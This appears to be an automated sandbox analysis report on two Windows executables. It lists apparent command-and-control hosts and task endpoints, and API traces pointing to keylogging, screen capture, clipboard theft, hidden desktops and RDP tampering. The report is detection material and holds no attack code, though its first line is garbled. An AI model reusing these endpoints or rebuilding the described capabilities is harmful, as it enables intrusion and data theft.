W2O#-u-sZ%ST={3W>h/(nL&+~^BY<:Tkjq[nT{h/ciAj+||x\:LSC@rMu`%fJK]^;$)(H$W1;c9;fLFh!=|z<2A <=T(t-jK<z>Uu>a"-,7*\Qk'#PG[H;*}h}ix!sVN8G&_#]J_

Source: global traffic	HTTP traffic detected: GET /4/long.bmp HTTP/1.1Host: web.ad87h92j.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4/text.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/d.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com
Source: global traffic	HTTP traffic detected: GET /4/t.bmp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: web.ad87h92j.com

Source: global traffic	DNS traffic detected: DNS query: web.ad87h92j.com
Source: global traffic	DNS traffic detected: DNS query: caces.goldenh0ur.com
Source: global traffic	DNS traffic detected: DNS query: mvc.withoutyou5.com

Source: unknown

HTTP traffic detected: POST /api.php/common/getdomain HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36Content-Length: 18Host: caces.goldenh0ur.com

Source: 3Kel6xErOk.exe	String found in binary or memory: http://apisgame.iqiyi.com/pcwcenter/basic/upgrade/info?
Source: 3Kel6xErOk.exe	String found in binary or memory: http://apisgame.iqiyi.com/pcwcenter/basic/upgrade/info?.current_version=&sign_key=fb99b749dc3cd844fb
Source: 3Kel6xErOk.exe	String found in binary or memory: http://hook.test
Source: 3Kel6xErOk.exe	String found in binary or memory: http://hook.testnode.dll1rGYz
Source: 3Kel6xErOk.exe	String found in binary or memory: http://localhost:12222..
Source: 3Kel6xErOk.exe	String found in binary or memory: http://miniblink.netCookiefile:///http://www.github.com/weolar/miniblink49testinjectcalljavascript:U
Source: 3Kel6xErOk.exe	String found in binary or memory: http://pc.game.iqiyi.com/flash
Source: 3Kel6xErOk.exe	String found in binary or memory: http://pc.game.iqiyi.com/game
Source: 3Kel6xErOk.exe	String found in binary or memory: http://pc.game.iqiyi.com/gamehttp://pc.game.iqiyi.com/homeOPENhttp://pc.game.iqiyi.com/flashpc.game.
Source: 3Kel6xErOk.exe	String found in binary or memory: http://pc.game.iqiyi.com/home
Source: 3Kel6xErOk.exe	String found in binary or memory: http://pc.game.iqiyi.com/homehttp://pc.game.iqiyi.com/gamehttp://pc.game.iqiyi.com/flashOPEN/.lnkpca
Source: 3Kel6xErOk.exe	String found in binary or memory: http://pc.game.iqiyi.com/index?sdkver=10.12.0.845
Source: 3Kel6xErOk.exe	String found in binary or memory: http://pc.game.iqiyi.com/index?sdkver=10.12.0.845node.dllatlTraceGeneralatlTraceQIatlTraceCOMatlTrac
Source: 3Kel6xErOk.exe	String found in binary or memory: http://pc.game.iqiyi.com/login.html
Source: 3Kel6xErOk.exe	String found in binary or memory: http://pc.game.iqiyi.com/login.htmlEDITMozilla/5.0
Source: 3Kel6xErOk.exe, 00000005.00000002.2575498990.0000000002A99000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/d.bmpWhttp://web.ad87h92j.com/4/t.bmp
Source: 3Kel6xErOk.exe, 00000005.00000002.2575064675.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000002.2573930129.000000000019D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/long.bmp
Source: 3Kel6xErOk.exe, 00000005.00000002.2575064675.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/long.bmpw
Source: 3Kel6xErOk.exe, 00000005.00000002.2575064675.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/long.bmpwi
Source: 3Kel6xErOk.exe, 00000005.00000002.2573930129.000000000019D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/long.bmpwininetShell32msvcrt
Source: 3Kel6xErOk.exe, 00000005.00000002.2575498990.0000000002A99000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/t.bmpmp
Source: 3Kel6xErOk.exe, 00000005.00000002.2575498990.0000000002A99000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/text.bmpC:
Source: libcef.dll.5.dr	String found in binary or memory: http://www.astro.com/swisseph.
Source: lte7inN.exe, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	String found in binary or memory: http://www.astrolog.org/astrolog.htm
Source: 3Kel6xErOk.exe, 00000005.00000003.2539861260.0000000003BCD000.00000004.00000020.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000003.2388498865.000000001003F000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	String found in binary or memory: http://www.astrolog.org/astrolog.htmMain
Source: 3Kel6xErOk.exe	String found in binary or memory: http://www.baidu.com/
Source: 3Kel6xErOk.exe	String found in binary or memory: http://www.baidu.com/pc.game.iqiyi.com/togamenx
Source: libcef.dll.5.dr	String found in binary or memory: http://www.gnu.org
Source: lte7inN.exe, 00000010.00000002.3137201398.0000000002F49000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137799741.0000000010064000.00000002.00001000.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137330090.00000000031F9000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https:///api.php/common/gettask/api.php/common/getdomain.200idleActivityTimePlugingsleep
Source: 3Kel6xErOk.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: lte7inN.exe, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	String found in binary or memory: https://data.iana.org/time-zones/tz-link.html
Source: 3Kel6xErOk.exe, 00000005.00000003.2539861260.0000000003BCD000.00000004.00000020.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000003.2388498865.000000001003F000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	String found in binary or memory: https://data.iana.org/time-zones/tz-link.htmlPostScript
Source: 3Kel6xErOk.exe	String found in binary or memory: https://msg.qy.net/v5/gamecenter/pc?
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/1
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/Datw
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/Pro
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/RON
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/SF;
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/TDEe
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/XPH
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/amF
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3136764619.0000000001485000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/gettask
Source: lte7inN.exe, 00000010.00000002.3136764619.000000000149A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/gettaskI
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/gettaskL
Source: lte7inN.exe, 00000010.00000002.3136764619.000000000150F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/gettaskR
Source: lte7inN.exe, 00000010.00000002.3136764619.0000000001485000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/receivejson
Source: lte7inN.exe, 00000010.00000002.3136764619.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com:443/api.php/common/gettask
Source: lte7inN.exe, 00000010.00000002.3136764619.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com:443/api.php/common/gettask%#
Source: lte7inN.exe, 00000010.00000002.3136764619.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com:443/api.php/common/gettaskF#
Source: lte7inN.exe, 00000010.00000002.3136764619.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com:443/api.php/common/receivejson
Source: 3Kel6xErOk.exe	String found in binary or memory: https://pc.game.iqiyi.com
Source: 3Kel6xErOk.exe	String found in binary or memory: https://pc.game.iqiyi.com/protocol
Source: 3Kel6xErOk.exe	String found in binary or memory: https://pc.game.iqiyi.comconfig.json/systemsetting/channelpostdata_urlsystemsettinghome_urlprotocol_
Source: lte7inN.exe, 00000010.00000002.3135955521.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, lte7inN.exe, 00000011.00000002.2672087314.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, lte7inN.exe, 00000012.00000002.2745598248.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://support.ubi.com/
Source: lte7inN.exe, 00000010.00000002.3135955521.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, lte7inN.exe, 00000011.00000002.2672087314.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp, lte7inN.exe, 00000012.00000002.2745598248.00000000007F3000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://support.ubi.com/?GenomeId=954e66a0-be1b-4aa0-9690-fb75201e4e9epidRequired
Source: lte7inN.exe, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	String found in binary or memory: https://www.geonames.org/
Source: 3Kel6xErOk.exe, 00000005.00000003.2539861260.0000000003BCD000.00000004.00000020.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000003.2388498865.000000001003F000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000011.00000002.2673379690.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, lte7inN.exe, 00000012.00000002.2746942644.000000006CACD000.00000002.00000001.01000000.0000000B.sdmp, libcef.dll.5.dr	String found in binary or memory: https://www.geonames.org/Timezone

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54893
Source: unknown	Network traffic detected: HTTP traffic on port 54893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54897
Source: unknown	Network traffic detected: HTTP traffic on port 54894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54892
Source: unknown	Network traffic detected: HTTP traffic on port 54898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54899 -> 443

Source: unknown	HTTPS traffic detected: 172.67.222.6:443 -> 192.168.2.7:54892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.7:54899 version: TLS 1.2

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_6CA81BA1 GetDeviceCaps,LoadCursorA,SetCursor,_memset,SelectObject,BeginPaint,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SetWindowOrgEx,SetWindowExtEx,SetBkMode,CreateFontA,SelectObject,_sprintf,DeleteObject,SelectObject,DeleteObject,BitBlt,SelectObject,DeleteObject,DeleteDC,EndPaint,SetCursor,PostMessageA,_lopen,_llseek,GlobalAlloc,GlobalLock,GlobalLock,_llseek,_hread,_lclose,_sprintf,_sprintf,GlobalUnlock,GlobalUnlock,OpenClipboard,EmptyClipboard,RegisterClipboardFormatA,GlobalLock,SetMetaFileBitsEx,GlobalUnlock,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,

16_2_6CA81BA1

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03225024 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,CloseClipboard,	16_2_03225024
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321EDE6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,	16_2_0321EDE6
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1002C000 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,CloseClipboard,	16_2_1002C000
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10025B70 SetEvent,GetSystemMetrics,BlockInput,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,GlobalSize,GlobalUnlock,CloseClipboard,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,	16_2_10025B70

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_03225024 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,CloseClipboard,

16_2_03225024

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_03227B04 GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,GetTopWindow,GetWindow,GetWindow,CreateCompatibleBitmap,CreateCompatibleDC,SelectObject,SetStretchBltMode,StretchBlt,DeleteObject,DeleteDC,GetDIBits,DeleteObject,ReleaseDC,DeleteDC,

16_2_03227B04

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_03221A54 Sleep,CreateMutexA,GetLastError,CloseHandle,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateFileMappingA,Sleep,GetForegroundWindow,GetWindowTextA,lstrlen,GetLocalTime,wsprintfA,GetAsyncKeyState,lstrcat,Sleep,ReleaseMutex,

16_2_03221A54

E-Banking Fraud

Checks if browser processes are running

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: SHGetFolderPathA,lstrcpy,CreateFileA,GetFileSize,ReadFile,_strstr,_strstr,_strstr,lstrcpy,lstrcpy,lstrcpy,CreateProcessA,CloseHandle, firefox.exe		16_2_03226744
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: SHGetFolderPathA,lstrcpy,CreateFileA,GetFileSize,ReadFile,_strstr,_strstr,_strstr,lstrcpy,lstrcpy,lstrcpy,CreateProcessA,CloseHandle, firefox.exe		16_2_1002D720

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA98C7D ReleaseMutex,WriteProfileStringA,WriteProfileStringA,WriteProfileStringA,SystemParametersInfoA,		16_2_6CA98C7D
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA98C7D ReleaseMutex,WriteProfileStringA,WriteProfileStringA,WriteProfileStringA,SystemParametersInfoA,		17_2_6CA98C7D

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_03228124 OpenDesktopA,CreateDesktopA,SetThreadDesktop,CreateThread,WaitForSingleObject,CloseHandle,

16_2_03228124

System Summary

Malicious sample detected (through community Yara rule)

Source: 16.2.lte7inN.exe.31f9c24.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen
Source: 16.2.lte7inN.exe.2f49c24.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen
Source: 16.2.lte7inN.exe.31f9c24.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen
Source: 16.2.lte7inN.exe.2f49c24.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen

Drops password protected ZIP file

Source: t3d.tmp.5.dr	Zip Entry: encrypted
Source: t3d.tmp.5.dr	Zip Entry: encrypted
Source: t3d.tmp.5.dr	Zip Entry: encrypted

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_03223236 LocalAlloc,OpenSCManagerA,OpenServiceA,GetLastError,QueryServiceStatus,ControlService,DeleteService,CloseServiceHandle,CloseServiceHandle,Sleep,lstrlen,LocalSize,lstrlen,LocalReAlloc,lstrlen,lstrlen,lstrlen,LocalFree,

16_2_03223236

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_032111F4 ExitWindowsEx,		16_2_032111F4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100181D0 ExitWindowsEx,		16_2_100181D0

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_0044817A	5_2_0044817A
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_0043A8DA	5_2_0043A8DA
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032A0031	5_2_032A0031
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032B5264	5_2_032B5264
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032AC144	5_2_032AC144
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032B57B5	5_2_032B57B5
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032A7680	5_2_032A7680
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032B4D13	5_2_032B4D13
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032B6DF6	5_2_032B6DF6
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032A6CE5	5_2_032A6CE5
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_100064E1	5_2_100064E1
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_10008BDA	5_2_10008BDA
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_1000C140	5_2_1000C140
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_10015260	5_2_10015260
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_1000767C	5_2_1000767C
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_100157B1	5_2_100157B1
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_10006CE1	5_2_10006CE1
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_10014D0F	5_2_10014D0F
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_10016DF2	5_2_10016DF2
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA65835	16_2_6CA65835
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA21112	16_2_6CA21112
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA29CCA	16_2_6CA29CCA
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAA9CC5	16_2_6CAA9CC5
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAC1CD1	16_2_6CAC1CD1
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA7DD8F	16_2_6CA7DD8F
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA7EDF5	16_2_6CA7EDF5
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA6BDD0	16_2_6CA6BDD0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA3CD32	16_2_6CA3CD32
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAB1D12	16_2_6CAB1D12
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA89D7B	16_2_6CA89D7B
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA9BD48	16_2_6CA9BD48
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAB6D46	16_2_6CAB6D46
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA3AED7	16_2_6CA3AED7
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA99E12	16_2_6CA99E12
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAC8E6E	16_2_6CAC8E6E
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA28E60	16_2_6CA28E60
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA93E4C	16_2_6CA93E4C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA3BFD7	16_2_6CA3BFD7
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAB7F37	16_2_6CAB7F37
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA3DF3F	16_2_6CA3DF3F
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA3387C	16_2_6CA3387C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAA5990	16_2_6CAA5990
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAA99C6	16_2_6CAA99C6
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA609DA	16_2_6CA609DA
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAAB9D7	16_2_6CAAB9D7
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAC1933	16_2_6CAC1933
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA46973	16_2_6CA46973
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAACAA5	16_2_6CAACAA5
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA37BAA	16_2_6CA37BAA
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA35BBD	16_2_6CA35BBD
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA2EBF4	16_2_6CA2EBF4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA90BCC	16_2_6CA90BCC
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAC248B	16_2_6CAC248B
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAC149E	16_2_6CAC149E
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA2B41A	16_2_6CA2B41A
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA505B3	16_2_6CA505B3
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA6B5D7	16_2_6CA6B5D7
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CABB503	16_2_6CABB503
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA34544	16_2_6CA34544
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA986B7	16_2_6CA986B7
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA68689	16_2_6CA68689
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA94698	16_2_6CA94698
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA35698	16_2_6CA35698
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA9F6C9	16_2_6CA9F6C9
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAB67F5	16_2_6CAB67F5
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA6D768	16_2_6CA6D768
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAA974B	16_2_6CAA974B
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAC20A3	16_2_6CAC20A3
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA4E0D8	16_2_6CA4E0D8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA92025	16_2_6CA92025
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA97003	16_2_6CA97003
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA8B07C	16_2_6CA8B07C
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA7A192	16_2_6CA7A192
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA2E1C8	16_2_6CA2E1C8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAB62A6	16_2_6CAB62A6
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA382B2	16_2_6CA382B2
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA862E8	16_2_6CA862E8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAC42E1	16_2_6CAC42E1
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAA026A	16_2_6CAA026A
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA83266	16_2_6CA83266
